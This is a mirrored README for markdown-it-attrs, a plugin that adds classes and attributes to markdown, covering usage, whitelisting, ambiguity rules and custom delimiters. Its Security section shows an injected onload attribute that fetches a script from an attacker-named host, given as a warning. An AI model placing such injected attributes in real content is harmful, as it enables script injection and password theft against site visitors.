# markdown-it-attrs **Repository Path**: mirrors_ibm/markdown-it-attrs ## Basic Information - **Project Name**: markdown-it-attrs - **Description**: This repo is to supplement the existing github.com/IBM/marked-it and github.com/IBM/marked-it-cli for the IBM Cloud marked-it project. - **Primary Language**: Unknown - **License**: MIT - **Default Branch**: master - **Homepage**: None - **GVP Project**: No ## Statistics - **Stars**: 0 - **Forks**: 0 - **Created**: 2021-07-31 - **Last Updated**: 2026-07-05 ## Categories & Tags **Categories**: Uncategorized **Tags**: None ## README # markdown-it-attrs [](https://travis-ci.org/arve0/markdown-it-attrs) [](http://badge.fury.io/js/markdown-it-attrs) [](https://coveralls.io/github/arve0/markdown-it-attrs?branch=master) Add classes, identifiers and attributes to your markdown with `{.class #identifier attr=value attr2="spaced value"}` curly brackets, similar to [pandoc's header attributes](http://pandoc.org/README.html#extension-header_attributes). Example input: ```md # header {.style-me} paragraph {data-toggle=modal} ``` Output: ```html
paragraph
``` Works with inline elements too: ```md paragraph *style me*{.red} more text ``` Output: ```htmlparagraph style me more text
``` And fenced code blocks:
```python {data=asdf}
nums = [x for x in range(10)]
```
Output:
```html
nums = [x for x in range(10)]
```
You can use `..` as a short-hand for `css-module=`:
```md
Use the css-module green on this paragraph. {..green}
```
Output:
```html
Use the css-module green on this paragraph.
``` Also works with spans, in combination with the [markdown-it-bracketed-spans](https://github.com/mb21/markdown-it-bracketed-spans) plugin (to be installed and loaded as such then): ```md paragraph with [a style me span]{.red} ``` Output: ```htmlparagraph with a style me span
``` Attribute definition lists support inheritance of attributes based on [Kramdown Syntax](https://kramdown.gettalong.org/syntax.html#attribute-list-definitions). These must be preceded and followed by an empty line. Example input: ```md {:aldOne: #someid .someclass attr="allowed"} {:aldTwo: aldOne #anotherid .anotherclass anotherattr="allowed"} another text {:aldTwo} ``` Output: ```htmlanother text
``` ## Install ``` $ npm install --save markdown-it-attrs ``` ## Usage ```js var md = require('markdown-it')(); var markdownItAttrs = require('markdown-it-attrs'); md.use(markdownItAttrs, { // optional, these are default options leftDelimiter: '{', rightDelimiter: '}', allowedAttributes: [] // empty array = all attributes are allowed }); var src = '# header {.green #id}\nsome text {with=attrs and="attrs with space"}'; var res = md.render(src); console.log(res); ``` [demo as jsfiddle](https://jsfiddle.net/arve0/hwy17omn/) ## Security A user may insert rogue attributes like this: ```js {onload=fetch('https://imstealingyourpasswords.com/script.js').then(...)} ``` If security is a concern, use an attribute whitelist: ```js md.use(markdownItAttrs, { allowedAttributes: ['id', 'class', /^regex.*$/] }); ``` Now only `id`, `class` and attributes beginning with `regex` are allowed: ```md text {#red .green regex=allowed onclick=alert('hello')} ``` Output: ```htmltext
``` ## Ambiguity When class can be applied to both inline or block element, inline element will take precedence: ```md - list item **bold**{.red} ``` Output: ```html| header1 | header2 |
|---|---|
| column1 | column2 |
'
+ '' + token.content + ''
+ '';
}
let src = [
'',
'```js {.abcd}',
'var a = 1;',
'```'
].join('\n')
console.log(md.render(src));
```
Output:
```html
var a = 1;
```
Read more about [custom rendering at markdown-it](https://github.com/markdown-it/markdown-it/blob/master/docs/architecture.md#renderer).
## Custom blocks
`markdown-it-attrs` will add attributes to any `token.block == true` with {}-curlies in end of `token.info`. For example, see [markdown-it/rules_block/fence.js](https://github.com/markdown-it/markdown-it/blob/760050edcb7607f70a855c97a087ad287b653d61/lib/rules_block/fence.js#L85) which [stores text after the three backticks in fenced code blocks to `token.info`](https://markdown-it.github.io/#md3=%7B%22source%22%3A%22%60%60%60js%20%7B.red%7D%5Cnfunction%20%28%29%20%7B%7D%5Cn%60%60%60%22%2C%22defaults%22%3A%7B%22html%22%3Afalse%2C%22xhtmlOut%22%3Afalse%2C%22breaks%22%3Afalse%2C%22langPrefix%22%3A%22language-%22%2C%22linkify%22%3Atrue%2C%22typographer%22%3Atrue%2C%22_highlight%22%3Atrue%2C%22_strict%22%3Afalse%2C%22_view%22%3A%22debug%22%7D%7D).
Remember to [render attributes](https://github.com/arve0/markdown-it-attrs/blob/a75102ad571110659ce9545d184aa5658d2b4a06/index.js#L100) if you use a custom renderer.
## Custom delimiters
To use different delimiters than the default, add configuration for `leftDelimiter` and `rightDelimiter`:
```js
md.use(attrs, {
leftDelimiter: '[',
rightDelimiter: ']'
});
```
Which will render
```md
# title [.large]
```
as
```html